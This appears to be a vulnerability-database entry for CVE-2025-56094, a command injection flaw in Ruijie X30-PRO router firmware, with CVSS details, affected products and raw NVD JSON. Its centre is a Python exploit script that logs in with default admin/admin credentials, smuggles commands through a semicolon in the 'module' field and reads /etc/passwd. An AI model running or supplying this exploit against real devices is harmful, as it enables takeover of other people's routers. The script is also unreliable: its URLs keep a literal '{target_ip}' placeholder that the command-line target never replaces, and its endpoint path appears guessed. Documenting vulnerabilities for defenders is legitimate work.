Security Vulnerability Report
中文
CVE-2025-56094 CVSS 8.8 HIGH

CVE-2025-56094

Published: 2025-12-11 19:15:55
Last Modified: 2026-01-27 17:47:42

Description

OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/host_access_delay.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\(1\)b11p219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X30-PRO X30-PRO-V1_09241521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-56094 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO X30-PRO-V1_09241521 # Endpoint: /cgi-bin/module_get (module_get in host_access_delay.lua) import requests import sys TARGET = "http://{target_ip}" # Replace with target IP LOGIN_URL = f"{TARGET}/cgi-bin/login" CMD_URL = f"{TARGET}/cgi-bin/module_get" def login(): """Authenticate to the Ruijie device""" login_data = { "username": "admin", "password": "admin" # Default credentials } try: resp = requests.post(LOGIN_URL, data=login_data, timeout=10) # Extract session cookie if needed return resp.cookies except Exception as e: print(f"[-] Login failed: {e}") return None def exploit(cookies, command="id"): """Exploit OS Command Injection via module_get""" # Payload: inject command using pipe or semicolon payload = { "module": f"host_access_delay;{command}", "action": "get" } try: resp = requests.post(CMD_URL, data=payload, cookies=cookies, timeout=10) print(f"[+] Response:\n{resp.text}") return resp.text except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" print(f"[*] Targeting {TARGET}") cookies = login() if cookies: print("[*] Login successful, launching exploit...") exploit(cookies, "id") # Execute 'id' command exploit(cookies, "cat /etc/passwd") # Read passwd file

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56094", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.287", "lastModified": "2026-01-27T17:47:41.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/host_access_delay.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "467678E1-6A87-4C42-98CD-CB970BCB53DF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "94BA1D95-3F5C-4888-AF37-287F843CA80D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300_pro_firmware:3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "5A2F0026-B379-46FF-BFC5-56F0C2CB5A58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EtGIxwWujwxBvQhL9wgnUIwBkg-mndJJX07Igr6d0cic-g?e=4KJbWY", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EX8LVTGd3L9OrXvTuHDFITQBnWL-5C-CINxUmowR7vCVig?e=Quevaq", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56094.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}